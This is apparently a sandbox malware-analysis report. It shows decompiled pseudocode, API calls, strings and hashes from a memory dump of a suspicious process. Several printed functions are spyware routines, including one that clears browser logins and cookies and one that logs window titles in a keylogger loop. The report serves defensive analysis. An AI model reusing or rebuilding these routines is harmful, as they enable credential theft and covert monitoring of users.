                                    0x0044282f
                                    0x0044282f
                                    0x00000000
                                    0x0044282e
                                    0x0044282c
                                    0x004427ba
                                    0x004427c3
                                    0x004427c3
                                    0x004427ca
                                    0x004427cb
                                    0x004427cd
                                    0x004427cd
                                    0x00000000
                                    0x004427cd
                                    0x004427bc
                                    0x004427c1
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004427c1
                                    0x004427aa
                                    0x00000000
                                    0x00000000
                                    0x004427ac
                                    0x004427b1
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004427b1
                                    0x00442789
                                    0x00442790
                                    0x00442791
                                    0x00442793
                                    0x00000000
                                    0x00442793
                                    0x00442761
                                    0x00442768
                                    0x00442769
                                    0x0044276b
                                    0x00000000

                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                                    • Instruction ID: 2ba3797df866fdb259822d6d8d369b650a47a007c193c4fe09ad9307cb42485c
                                    • Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                                    • Instruction Fuzzy Hash: EA411871A00304AFE724AF79C941B6EBBE8EB88714F10462FF105DB281D7B999418B94
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040BF5A Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 85%
                                    			E0040BF5A(void* __edi) {
				char _v5;
				char _v6;
				char _v7;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				intOrPtr _t18;
				void* _t36;
				intOrPtr _t40;
				char _t50;
				void* _t52;
				void* _t53;
				signed int _t54;
				signed int _t55;
				void* _t56;

				_t52 = __edi;
				_t55 = _t54 & 0xfffffff8;
				 *0x472b1a = 1;
				Sleep( *0x472b28);
				_v7 = 0;
				_t36 = 0;
				_v6 = 0;
				_v5 = 0;
				goto L1;
				do {
					do {
						L1:
						_t60 = _t36;
						if(_t36 == 0) {
							L2:
							_t36 = E0040BE37(_t60);
						}
						_t61 = _t36;
						if(_t36 == 0) {
							_t36 = E0040BC85(_t50, _t52, _t61);
						}
						_t62 = _v6;
						if(_v6 == 0) {
							_v6 = E0040BA7E(_t36, _t50, _t52, _t62);
						}
						_t63 = _v7;
						if(_v7 == 0) {
							_v7 = E0040B9EF(_t50, _t52, _t63);
						}
						_t50 = _v5;
						_t64 = _t50;
						if(_t50 == 0) {
							_t50 = E0040B960(_t50, _t52, _t64);
							_v5 = _t50;
						}
						if(_t36 == 0 || _t36 == 0) {
							L16:
							Sleep(0x1388);
							_t18 = _v7;
							_t40 = _v6;
							_t50 = _v5;
						} else {
							_t18 = _v7;
							if(_t18 == 0 || _t50 == 0) {
								goto L16;
							} else {
								_t40 = _v6;
								if(_t40 == 0) {
									goto L16;
								}
							}
						}
						if(_t36 == 0) {
							goto L2;
						}
					} while (_t36 == 0 || _t18 == 0 || _t50 == 0);
					_t74 = _t40;
				} while (_t40 == 0);
				_t56 = _t55 - 0x18;
				E00402093(_t36, _t56, _t50, _t53, "\n[Cleared browsers logins and cookies.]\n");
				E0040C126(_t36, _t50, _t53, _t74);
				E00402093(_t36, _t56, _t50, _t53, "Cleared browsers logins and cookies.");
				_t57 = _t56 - 0x18;
				E00402093(_t36, _t56 - 0x18, _t50, _t53, "i");
				E0041B441(_t36, _t52);
				E00402093(_t36, _t57 + 0x18, _t50, _t53, 0x4660a4);
				_push(0xaf);
				E00404AA1(0x475598, _t50, _t74);
				if( *0x472b19 != 0) {
					E004137C5(0x4752f0, E00401FAB(0x4752f0), "FR", 1);
				}
				 *0x472b1a = 0;
				return 0;
			}


















                                    0x0040bf5a
                                    0x0040bf5d
                                    0x0040bf68
                                    0x0040bf6f
                                    0x0040bf7b
                                    0x0040bf7f
                                    0x0040bf81
                                    0x0040bf87
                                    0x0040bf87
                                    0x0040bf8b
                                    0x0040bf8b
                                    0x0040bf8b
                                    0x0040bf8b
                                    0x0040bf8d
                                    0x0040bf8f
                                    0x0040bf94
                                    0x0040bf94
                                    0x0040bf96
                                    0x0040bf98
                                    0x0040bf9f
                                    0x0040bf9f
                                    0x0040bfa5
                                    0x0040bfa7
                                    0x0040bfae
                                    0x0040bfae
                                    0x0040bfb6
                                    0x0040bfb8
                                    0x0040bfbf
                                    0x0040bfbf
                                    0x0040bfc3
                                    0x0040bfc7
                                    0x0040bfc9
                                    0x0040bfd0
                                    0x0040bfd2
                                    0x0040bfd2
                                    0x0040bfd8
                                    0x0040bff2
                                    0x0040bff7
                                    0x0040bffd
                                    0x0040c001
                                    0x0040c005
                                    0x0040bfde
                                    0x0040bfde
                                    0x0040bfe4
                                    0x00000000
                                    0x0040bfea
                                    0x0040bfea
                                    0x0040bff0
                                    0x00000000
                                    0x00000000
                                    0x0040bff0
                                    0x0040bfe4
                                    0x0040c00b
                                    0x00000000
                                    0x00000000
                                    0x0040c00d
                                    0x0040c025
                                    0x0040c025
                                    0x0040c02d
                                    0x0040c037
                                    0x0040c03c
                                    0x0040c048
                                    0x0040c04d
                                    0x0040c057
                                    0x0040c05c
                                    0x0040c06b
                                    0x0040c070
                                    0x0040c07a
                                    0x0040c086
                                    0x0040c09b
                                    0x0040c0a1
                                    0x0040c0a2
                                    0x0040c0af

                                    APIs
                                    Strings
                                    • Cleared browsers logins and cookies., xrefs: 0040C043
                                    • [Cleared browsers logins and cookies.], xrefs: 0040C032
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Sleep
                                    • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                    • API String ID: 3472027048-1236744412
                                    • Opcode ID: 9a6f43b8ea218ea33e77fab73984353d9951a3f0fe6c166e7d6d3210fc9c9aed
                                    • Instruction ID: f586b049bd0bdd3c219b922193accca745abed023e76c26c8602312a68ce513f
                                    • Opcode Fuzzy Hash: 9a6f43b8ea218ea33e77fab73984353d9951a3f0fe6c166e7d6d3210fc9c9aed
                                    • Instruction Fuzzy Hash: 7731C4143483826ED6116B7558567AB7F828E53754F0844BFB8C46B3C3DA7E48488BEF
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040A477 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 89%
                                    			E0040A477() {
				char _v2004;
				char _v2008;
				char _v2028;
				void* _v2036;
				char _v2056;
				void* _v2060;
				char _v2080;
				void* _v2084;
				void* _t17;
				void* _t29;
				void* _t31;
				void* _t32;
				void* _t51;
				void* _t55;
				signed int _t56;
				void* _t58;
				void* _t59;
				void* _t60;
				void* _t61;
				void* _t62;

				_t58 = (_t56 & 0xfffffff8) - 0x81c;
				_push(_t31);
				_t53 = _t32;
				_t55 = _t32 + 0x68;
				while(1) {
					E00436DE0(_t51,  &_v2004, 0, 0x7d0);
					_t59 = _t58 + 0xc;
					while(1) {
						_t60 = _t59 - 0x18;
						E0040417E(_t31, _t60, _t49, _t55,  *((intOrPtr*)(_t53 + 0x50)));
						_t17 = E0041C4A3( &_v2008, _t49);
						_t59 = _t60 + 0x18;
						if(_t17 != 0) {
							break;
						}
						Sleep(0x1f4);
					}
					_t49 = E004042FC(_t31,  &_v2056, L"\r\n[ ", _t55, __eflags, E0040417E(_t31,  &_v2028, _t49, _t55,  &_v2004));
					E00401F13(_t53 + 4, _t20, _t53, E00403014(_t31,  &_v2080, _t20, _t51, _t55, __eflags, L" ]\r\n"));
					E00401F09();
					E00401F09();
					E00401F09();
					_t61 = _t59 - 0x18;
					E0040905C(_t31, _t61, _t20, __eflags, _t55);
					E0040A179(_t53, _t49);
					while(1) {
						_t62 = _t61 - 0x18;
						E0040417E(_t31, _t62, _t49, _t55,  *((intOrPtr*)(_t53 + 0x50)));
						_t29 = E0041C4A3(0, _t49);
						_t58 = _t62 + 0x18;
						__eflags = _t29;
						if(_t29 == 0) {
							break;
						}
						Sleep(0x64);
					}
					E0040B02A(_t31, _t53, _t49);
				}
			}























                                    0x0040a47d
                                    0x0040a483
                                    0x0040a486
                                    0x0040a488
                                    0x0040a48b
                                    0x0040a497
                                    0x0040a49c
                                    0x0040a49f
                                    0x0040a49f
                                    0x0040a4a7
                                    0x0040a4b0
                                    0x0040a4b5
                                    0x0040a4ba
                                    0x00000000
                                    0x00000000
                                    0x0040a4c1
                                    0x0040a4c1
                                    0x0040a4ec
                                    0x0040a4fc
                                    0x0040a505
                                    0x0040a50e
                                    0x0040a517
                                    0x0040a51c
                                    0x0040a522
                                    0x0040a529
                                    0x0040a52e
                                    0x0040a52e
                                    0x0040a536
                                    0x0040a53d
                                    0x0040a542
                                    0x0040a545
                                    0x0040a547
                                    0x00000000
                                    0x00000000
                                    0x0040a54b
                                    0x0040a54b
                                    0x0040a555
                                    0x0040a555

                                    APIs
                                      • Part of subcall function 0041C4A3: GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041C4B3
                                      • Part of subcall function 0041C4A3: GetWindowTextLengthW.USER32(00000000), ref: 0041C4BC
                                      • Part of subcall function 0041C4A3: GetWindowTextW.USER32 ref: 0041C4E6
                                    • Sleep.KERNEL32(000001F4), ref: 0040A4C1
                                    • Sleep.KERNEL32(00000064), ref: 0040A54B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Window$SleepText$ForegroundLength
                                    • String ID: [ $ ]
                                    • API String ID: 3309952895-93608704
                                    • Opcode ID: acc7ad0dcc1a8edbb7a7434d010054c934edc331223a7212bc0626daaa8cba49
                                    • Instruction ID: 89be934fd1811d76eec56368edcbaff38e1f3ced5cf275092c2649404149f4d4
                                    • Opcode Fuzzy Hash: acc7ad0dcc1a8edbb7a7434d010054c934edc331223a7212bc0626daaa8cba49
                                    • Instruction Fuzzy Hash: 7311CD315043006BC204BB26DC179AFB7A8AB51318F40053FF656660E2FFB8EA18869B
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004439A2 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 82%
                                    			E004439A2(signed int __eax, void* __ecx) {
				signed int _t2;
				signed int _t3;
				int _t10;
				int _t11;
				void* _t13;
				short** _t16;
				char* _t19;
				void* _t20;

				_t13 = __ecx;
				_t16 =  *0x4724e4; // 0x7f2708
				if(_t16 != 0) {
					_t10 = 0;
					while( *_t16 != _t10) {
						_t2 = WideCharToMultiByte(_t10, _t10,  *_t16, 0xffffffff, _t10, _t10, _t10, _t10);
						_t11 = _t2;
						if(_t11 == 0) {
							L11:
							_t3 = _t2 | 0xffffffff;
						} else {
							_t19 = E00445A43(_t13, _t11, 1);
							_pop(_t13);
							if(_t19 == 0) {
								L10:
								_t2 = E00446652(_t19);
								goto L11;
							} else {
								_t10 = 0;
								if(WideCharToMultiByte(0, 0,  *_t16, 0xffffffff, _t19, _t11, 0, 0) == 0) {
									goto L10;
								} else {
									_push(0);
									_push(_t19);
									E0044FA10();
									E00446652(0);
									_t20 = _t20 + 0xc;
									_t16 =  &(_t16[1]);
									continue;
								}
							}
						}
						L9:
						return _t3;
						goto L12;
					}
					_t3 = 0;
					goto L9;
				} else {
					return __eax | 0xffffffff;
				}
				L12:
			}











                                    0x004439a2
                                    0x004439a5
                                    0x004439ad
                                    0x004439b6
                                    0x00443a0b
                                    0x004439c4
                                    0x004439ca
                                    0x004439ce
                                    0x00443a1c
                                    0x00443a1c
                                    0x004439d0
                                    0x004439d8
                                    0x004439db
                                    0x004439de
                                    0x00443a15
                                    0x00443a16
                                    0x00000000
                                    0x004439e0
                                    0x004439ea
                                    0x004439f6
                                    0x00000000
                                    0x004439f8
                                    0x004439f8
                                    0x004439f9
                                    0x004439fa
                                    0x00443a00
                                    0x00443a05
                                    0x00443a08
                                    0x00000000
                                    0x00443a08
                                    0x004439f6
                                    0x004439de
                                    0x00443a11
                                    0x00443a14
                                    0x00000000
                                    0x00443a14
                                    0x00443a0f
                                    0x00000000
                                    0x004439af
                                    0x004439b3
                                    0x004439b3
                                    0x00000000

                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 639b9409e2fb930854833158115cd827a0c242071936a85f60160cf34ce6723c
                                    • Instruction ID: 033a4472fcae46e20cbc66845ab8d42561e9182789f90975b77d170f2c426ea4
                                    • Opcode Fuzzy Hash: 639b9409e2fb930854833158115cd827a0c242071936a85f60160cf34ce6723c
                                    • Instruction Fuzzy Hash: 2A01DFB22092157EFA211E793CC1F67220DDB51BBAB31033BB525712C2DAA8CD404168
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00443A21 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 82%
                                    			E00443A21(signed int __eax, void* __ecx) {
				signed int _t2;
				signed int _t3;
				int _t10;
				int _t11;
				void* _t13;
				char** _t16;
				short* _t19;
				void* _t20;

				_t13 = __ecx;
				_t16 =  *0x4724e0; // 0x7bc900
				if(_t16 != 0) {
					_t10 = 0;
					while( *_t16 != _t10) {
						_t2 = MultiByteToWideChar(_t10, _t10,  *_t16, 0xffffffff, _t10, _t10);
						_t11 = _t2;
						if(_t11 == 0) {
							L11:
							_t3 = _t2 | 0xffffffff;
						} else {
							_t19 = E00445A43(_t13, _t11, 2);
							_pop(_t13);
							if(_t19 == 0) {
								L10:
								_t2 = E00446652(_t19);
								goto L11;
							} else {
								_t10 = 0;
								if(MultiByteToWideChar(0, 0,  *_t16, 0xffffffff, _t19, _t11) == 0) {
									goto L10;
								} else {
									_push(0);
									_push(_t19);
									E0044FA1B(_t13);
									E00446652(0);
									_t20 = _t20 + 0xc;
									_t16 =  &(_t16[1]);
									continue;
								}
							}
						}
						L9:
						return _t3;
						goto L12;
					}
					_t3 = 0;
					goto L9;
				} else {
					return __eax | 0xffffffff;
				}
				L12:
			}











                                    0x00443a21
                                    0x00443a24
                                    0x00443a2c
                                    0x00443a35
                                    0x00443a84
                                    0x00443a41
                                    0x00443a47
                                    0x00443a4b
                                    0x00443a95
                                    0x00443a95
                                    0x00443a4d
                                    0x00443a55
                                    0x00443a58
                                    0x00443a5b
                                    0x00443a8e
                                    0x00443a8f
                                    0x00000000
                                    0x00443a5d
                                    0x00443a63
                                    0x00443a6f
                                    0x00000000
                                    0x00443a71
                                    0x00443a71
                                    0x00443a72
                                    0x00443a73
                                    0x00443a79
                                    0x00443a7e
                                    0x00443a81
                                    0x00000000
                                    0x00443a81
                                    0x00443a6f
                                    0x00443a5b
                                    0x00443a8a
                                    0x00443a8d
                                    0x00000000
                                    0x00443a8d
                                    0x00443a88
                                    0x00000000
                                    0x00443a2e
                                    0x00443a32
                                    0x00443a32
                                    0x00000000

                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 4348ab701141db2ee471a76f6354be3bba6a68761b83c07e18708a65b4a21837
                                    • Instruction ID: 226c1dfaa940c38e874e3298110966acc76b6f1ea978435e4fd694d377cd1620
                                    • Opcode Fuzzy Hash: 4348ab701141db2ee471a76f6354be3bba6a68761b83c07e18708a65b4a21837
                                    • Instruction Fuzzy Hash: 5F01D1B2609616BEBA105EB97CC5D27624DDF517BA336033FF421712E2DA78CE014169
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00448436 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 95%
                                    			E00448436(signed int _a4) {
				signed int _t9;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x472668 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x45ec70 + _t9 * 4);
					_t27 = LoadLibraryExW(_t22, 0, 0x800);
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0xbb2d688
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}










                                    0x0044843b
                                    0x0044843f
                                    0x00448446
                                    0x0044844a
                                    0x00448458
                                    0x0044846e
                                    0x00448472
                                    0x0044849b
                                    0x0044849d
                                    0x004484a1
                                    0x004484a4
                                    0x004484a4
                                    0x004484aa
                                    0x004484ac
                                    0x00000000
                                    0x004484ad
                                    0x00448474
                                    0x0044847d
                                    0x0044848c
                                    0x0044847f
                                    0x00448482
                                    0x00448488
                                    0x00448488
                                    0x00448490
                                    0x00000000
                                    0x00448492
                                    0x00448495
                                    0x00448497
                                    0x00000000
                                    0x00448497
                                    0x00448490
                                    0x0044844c
                                    0x00448451
                                    0x00000000

                                    APIs
                                    • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,004483DD,00000000,00000000,00000000,00000000,?,00448709,00000006,FlsSetValue), ref: 00448468
                                    • GetLastError.KERNEL32(?,004483DD,00000000,00000000,00000000,00000000,?,00448709,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004481B7), ref: 00448474
                                    • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,004483DD,00000000,00000000,00000000,00000000,?,00448709,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 00448482
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: LibraryLoad$ErrorLast
                                    • String ID:
                                    • API String ID: 3177248105-0
                                    • Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                                    • Instruction ID: 22ae1200680764cf54d167c7558b5bd72014f5b506237ac4a0ae1be1f28d736e
                                    • Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                                    • Instruction Fuzzy Hash: A0012832602327ABD7218B789C4495F7758AB00B61B210639F905D7241EB24CD00C6D8
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041C3D7 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041C3D7(void* __edx) {
				long _v12;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __ebp;
				struct _OVERLAPPED* _t12;
				WCHAR* _t13;
				void* _t17;
				long _t19;
				void* _t21;

				_t12 = 0;
				_t21 = __edx;
				_t17 = CreateFileW(_t13, 0x80000000, 3, 0, 3, 0x80, 0);
				if(_t17 != 0xffffffff) {
					_t19 = GetFileSize(_t17, 0);
					E0040244E(0, _t21, _t17, _t21, _t19, 0);
					_v12 = 0;
					if(ReadFile(_t17, E00401FAB(_t21), _t19,  &_v12, 0) != 0) {
						_t12 = 1;
					}
					CloseHandle(_t17);
					return _t12;
				}
				return 0;
			}













                                    0x0041c3db
                                    0x0041c3dd
                                    0x0041c3f6
                                    0x0041c3fb
                                    0x0041c40a
                                    0x0041c410
                                    0x0041c41a
                                    0x0041c432
                                    0x0041c434
                                    0x0041c434
                                    0x0041c437
                                    0x00000000
                                    0x0041c43d
                                    0x00000000

                                    APIs
                                    • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,0040A791), ref: 0041C3F0
                                    • GetFileSize.KERNEL32(00000000,00000000), ref: 0041C404
                                    • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0041C429
                                    • CloseHandle.KERNEL32(00000000), ref: 0041C437
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$CloseCreateHandleReadSize
                                    • String ID:
                                    • API String ID: 3919263394-0
                                    • Opcode ID: a82f08439b5f048e0f9f33549d7e837929b7f6f9fb20ab3bcab9e2a24a7f2f0a
                                    • Instruction ID: 9278aba96d51f7b1f08903d2a696307d367a80587f02ab2d2146270b6cec6548
                                    • Opcode Fuzzy Hash: a82f08439b5f048e0f9f33549d7e837929b7f6f9fb20ab3bcab9e2a24a7f2f0a
                                    • Instruction Fuzzy Hash: D3F0F6B1285318BFE2101B21ADD8FFF365CEB867A9F00053EF901A32C1DA298C069179
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041C12F Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 45%
                                    			E0041C12F(void* __ecx, long __edx) {
				char _v524;
				void* __ebx;
				void* __ebp;
				int _t4;
				void* _t6;
				long _t14;
				int _t19;
				void* _t20;
				void* _t21;

				_t18 = __edx;
				_t14 = __edx;
				_t20 = __ecx;
				_t4 = OpenProcess(0x1000, 0, __edx);
				_t19 = _t4;
				if(_t19 != 0) {
					L3:
					_t6 =  *0x474b0c(_t19,  &_v524, 0x104);
					_push(_t19);
					if(_t6 != 0) {
						CloseHandle();
						E0041BF6D( &_v524);
						_push( &_v524);
					} else {
						CloseHandle();
						goto L2;
					}
				} else {
					_t19 = OpenProcess(0x400, _t4, _t14);
					if(_t19 != 0) {
						goto L3;
					} else {
						L2:
						_push(0x466468);
					}
				}
				E0040417E(_t14, _t20, _t18, _t21);
				return _t20;
			}












                                    0x0041c12f
                                    0x0041c13b
                                    0x0041c13d
                                    0x0041c147
                                    0x0041c14d
                                    0x0041c151
                                    0x0041c16d
                                    0x0041c17a
                                    0x0041c180
                                    0x0041c183
                                    0x0041c18d
                                    0x0041c199
                                    0x0041c1a4
                                    0x0041c185
                                    0x0041c185
                                    0x00000000
                                    0x0041c185
                                    0x0041c153
                                    0x0041c160
                                    0x0041c164
                                    0x00000000
                                    0x0041c166
                                    0x0041c166
                                    0x0041c166
                                    0x0041c166
                                    0x0041c164
                                    0x0041c1a7
                                    0x0041c1b4

                                    APIs
                                    • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C147
                                    • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C15A
                                    • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041C185
                                    • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041C18D
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseHandleOpenProcess
                                    • String ID:
                                    • API String ID: 39102293-0
                                    • Opcode ID: ad13b29b5186b8d2a777d246caf505faf64a93951fc8710eab1e0b4fee4cd567
                                    • Instruction ID: a3f3c5943ebcda3decb62906ecd36b95d7ff57bdbeb792c7297d961900e6580b
                                    • Opcode Fuzzy Hash: ad13b29b5186b8d2a777d246caf505faf64a93951fc8710eab1e0b4fee4cd567
                                    • Instruction Fuzzy Hash: FA01DB712C0325BBD61167949C89FB7B27CDB44B96F000167F904D21E2EFB49DC18A6A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004397B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 19%
                                    			E004397B3(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t25;
				void* _t27;
				void* _t28;
				void* _t29;
				intOrPtr _t30;
				intOrPtr* _t32;
				void* _t34;

				_t29 = __edx;
				_t27 = __ebx;
				_t36 = _a28;
				_t30 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t30);
					_push(_a4);
					E00439E02(_t36);
					_t34 = _t34 + 0x10;
				}
				_t37 = _a40;
				_push(_a4);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t30);
				}
				E00439307(_t28);
				_t32 = _a32;
				_push( *_t32);
				_push(_a20);
				_push(_a16);
				_push(_t30);
				E0043A004(_t27, _t28, _t29, _t30, _t37);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t30 + 8)) =  *((intOrPtr*)(_t32 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t30);
				_push(_a4);
				_t25 = E004395BD(_t29, _t32, _t37);
				if(_t25 != 0) {
					E004392D5(_t25, _t30);
					return _t25;
				}
				return _t25;
			}













                                    0x004397b3
                                    0x004397b3
                                    0x004397b6
                                    0x004397bb
                                    0x004397be
                                    0x004397c0
                                    0x004397c3
                                    0x004397c6
                                    0x004397c7
                                    0x004397ca
                                    0x004397cf
                                    0x004397cf
                                    0x004397d2
                                    0x004397d6
                                    0x004397d9
                                    0x004397de
                                    0x004397db
                                    0x004397db
                                    0x004397db
                                    0x004397e1
                                    0x004397e7
                                    0x004397ea
                                    0x004397ec
                                    0x004397ef
                                    0x004397f2
                                    0x004397f3
                                    0x004397fc
                                    0x00439801
                                    0x00439804
                                    0x0043980a
                                    0x0043980d
                                    0x00439810
                                    0x00439813
                                    0x00439814
                                    0x00439817
                                    0x00439822
                                    0x00439826
                                    0x00000000
                                    0x00439826
                                    0x0043982d

                                    APIs
                                    • ___BuildCatchObject.LIBVCRUNTIME ref: 004397CA
                                      • Part of subcall function 00439E02: ___AdjustPointer.LIBCMT ref: 00439E4C
                                    • _UnwindNestedFrames.LIBCMT ref: 004397E1
                                    • ___FrameUnwindToState.LIBVCRUNTIME ref: 004397F3
                                    • CallCatchBlock.LIBVCRUNTIME ref: 00439817
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                                    • String ID:
                                    • API String ID: 2633735394-0
                                    • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                    • Instruction ID: 9e8b9712f46d1b1694bdd7d9d66e7467aa1318bb2d481e122079a89bd054d854
                                    • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                    • Instruction Fuzzy Hash: 5501E932000109FBCF12AF56CC41EDB7BBAEF4D758F15501AF95865660C3BAE861DBA8
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00419335 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00419335(intOrPtr _a4, intOrPtr _a8) {
				int _v4;
				void* __ecx;
				int _t9;
				void* _t13;
				int _t26;
				int _t29;

				_t9 = GetSystemMetrics(0x4c);
				_t26 = GetSystemMetrics(0x4d);
				_t29 = GetSystemMetrics(0x4e);
				_v4 = GetSystemMetrics(0x4f);
				if(_t9 < 0) {
					_a4 = _a4 + E004184E6();
				}
				if(_t26 < 0) {
					_a8 = _a8 + E004184E6();
				}
				_t13 = E0041939C(_a4, _t29);
				E0041939C(_a8, _v4);
				return _t13;
			}









                                    0x00419342
                                    0x0041934c
                                    0x00419352
                                    0x00419356
                                    0x0041935c
                                    0x00419365
                                    0x00419365
                                    0x0041936b
                                    0x00419374
                                    0x00419374
                                    0x0041937e
                                    0x0041938d
